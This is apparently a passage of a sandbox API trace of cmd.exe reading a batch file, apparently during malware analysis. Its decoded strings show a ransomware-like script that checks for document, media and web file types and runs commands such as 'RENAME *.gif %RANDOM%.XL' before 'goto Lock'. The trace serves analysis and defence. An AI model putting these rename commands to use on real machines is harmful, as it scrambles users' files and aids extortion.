lDistanceToMove=816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x330 [0037.574] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.doc goto Ran\r\n") returned 2 [0037.574] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.574] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x330 [0037.574] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.574] GetFileType (hFile=0x74) returned 0x1 [0037.574] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x330 [0037.574] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.574] SetFilePointer (in: hFile=0x74, lDistanceToMove=845, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x34d [0037.574] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp4 goto Ran\r\n") returned 29 [0037.574] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.574] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34d [0037.574] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.574] GetFileType (hFile=0x74) returned 0x1 [0037.574] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34d [0037.574] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.574] SetFilePointer (in: hFile=0x74, lDistanceToMove=847, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x34f [0037.574] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.mp4 goto Ran\r\n") returned 2 [0037.575] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.575] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34f [0037.575] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.575] GetFileType (hFile=0x74) returned 0x1 [0037.575] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34f [0037.575] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.575] SetFilePointer (in: hFile=0x74, lDistanceToMove=876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36c [0037.575] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp3 goto Ran\r\n") returned 29 [0037.575] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.575] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36c [0037.575] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.575] GetFileType (hFile=0x74) returned 0x1 [0037.575] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36c [0037.575] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.575] SetFilePointer (in: hFile=0x74, lDistanceToMove=878, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36e [0037.575] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.mp3 goto Ran\r\n") returned 2 [0037.575] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.575] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36e [0037.576] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.576] GetFileType (hFile=0x74) returned 0x1 [0037.576] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36e [0037.576] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.576] SetFilePointer (in: hFile=0x74, lDistanceToMove=907, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x38b [0037.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.wav goto Ran\r\n") returned 29 [0037.576] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.576] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x38b [0037.576] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.576] GetFileType (hFile=0x74) returned 0x1 [0037.576] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x38b [0037.576] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.576] SetFilePointer (in: hFile=0x74, lDistanceToMove=909, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x38d [0037.576] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.wav goto Ran\r\n") returned 2 [0037.576] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.576] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x38d [0037.576] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.576] GetFileType (hFile=0x74) returned 0x1 [0037.576] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x38d [0037.577] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.577] SetFilePointer (in: hFile=0x74, lDistanceToMove=938, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3aa [0037.577] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.jpg goto Ran\r\n") returned 29 [0037.577] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.577] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3aa [0037.577] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.577] GetFileType (hFile=0x74) returned 0x1 [0037.577] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3aa [0037.577] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.577] SetFilePointer (in: hFile=0x74, lDistanceToMove=940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3ac [0037.577] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.jpg goto Ran\r\n") returned 2 [0037.577] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.577] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3ac [0037.577] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.577] GetFileType (hFile=0x74) returned 0x1 [0037.577] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3ac [0037.577] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.578] SetFilePointer (in: hFile=0x74, lDistanceToMove=969, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3c9 [0037.578] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.png goto Ran\r\n") returned 29 [0037.578] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.578] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3c9 [0037.578] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.578] GetFileType (hFile=0x74) returned 0x1 [0037.578] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3c9 [0037.578] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.578] SetFilePointer (in: hFile=0x74, lDistanceToMove=971, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3cb [0037.578] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.png goto Ran\r\n") returned 2 [0037.578] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.578] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3cb [0037.578] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.578] GetFileType (hFile=0x74) returned 0x1 [0037.578] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3cb [0037.578] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.578] SetFilePointer (in: hFile=0x74, lDistanceToMove=1000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3e8 [0037.578] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.htm goto Ran\r\n") returned 29 [0037.578] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.579] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3e8 [0037.579] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.579] GetFileType (hFile=0x74) returned 0x1 [0037.579] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3e8 [0037.579] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.579] SetFilePointer (in: hFile=0x74, lDistanceToMove=1002, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3ea [0037.579] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.htm goto Ran\r\n") returned 2 [0037.579] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.579] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3ea [0037.579] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.579] GetFileType (hFile=0x74) returned 0x1 [0037.579] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3ea [0037.579] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.579] SetFilePointer (in: hFile=0x74, lDistanceToMove=1032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x408 [0037.579] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=30, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.html goto Ran\r\n") returned 30 [0037.579] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.579] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x408 [0037.579] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.579] GetFileType (hFile=0x74) returned 0x1 [0037.580] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x408 [0037.580] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.580] SetFilePointer (in: hFile=0x74, lDistanceToMove=1034, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x40a [0037.580] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.html goto Ran\r\n") returned 2 [0037.580] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.580] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x40a [0037.580] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.580] GetFileType (hFile=0x74) returned 0x1 [0037.580] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x40a [0037.580] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.580] SetFilePointer (in: hFile=0x74, lDistanceToMove=1040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x410 [0037.580] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":gif\r\n EXIST *.html goto Ran\r\n") returned 6 [0037.580] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.580] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x410 [0037.580] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.580] GetFileType (hFile=0x74) returned 0x1 [0037.580] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x410 [0037.581] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.581] SetFilePointer (in: hFile=0x74, lDistanceToMove=1066, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x42a [0037.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.gif %RANDOM%.XL\r\nan\r\n") returned 26 [0037.581] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.581] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x42a [0037.581] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.581] GetFileType (hFile=0x74) returned 0x1 [0037.581] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x42a [0037.581] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.581] SetFilePointer (in: hFile=0x74, lDistanceToMove=1068, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x42c [0037.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.gif %RANDOM%.XL\r\n") returned 2 [0037.581] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.581] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x42c [0037.581] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.581] GetFileType (hFile=0x74) returned 0x1 [0037.581] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x42c [0037.581] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.581] SetFilePointer (in: hFile=0x74, lDistanceToMove=1079, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x437 [0037.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0037.582] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.582] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x437 [0037.582] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.582] GetFileType (hFile=0x74) returned 0x1 [0037.582] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x437 [0037.582] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.582] SetFilePointer (in: hFile=0x74, lDistanceToMove=1085, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x43d [0037.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":url\r\nock\r\n") returned 6 [0037.582] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.582] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x43d [0037.582] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.582] GetFileType (hFile=0x74) returned 0x1 [0037.582] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x43d [0037.582] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.582] SetFilePointer (in: hFile=0x74, lDistanceToMove=1111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x457 [0037.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.url %RANDOM%.XL\r\n") returned 26 [0037.582] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.582] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x457 [0037.583] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.583] GetFileType (hFile=0x74) returned 0x1 [0037.583] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x457 [0037.583] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.583] SetFilePointer (in: hFile=0x74, lDistanceToMove=1113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x459 [0037.583] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.url %RANDOM%.XL\r\n") returned 2 [0037.583] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.583] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x459 [0037.583] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.583] GetFileType (hFile=0x74) returned 0x1 [0037.583] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x459 [0037.583] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.583] SetFilePointer (in: hFile=0x74, lDistanceToMove=1124, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x464 [0037.583] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nl %RANDOM%.XL\r\n") returned 11 [0037.583] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.583] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x464 [0037.583] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.583] GetFileType (hFile=0x74) returned 0x1 [0037.584] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x464 [0037.584] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.584] SetFilePointer (in: hFile=0x74, lDistanceToMove=1130, lpDistanceToMoveHigh=0x0, 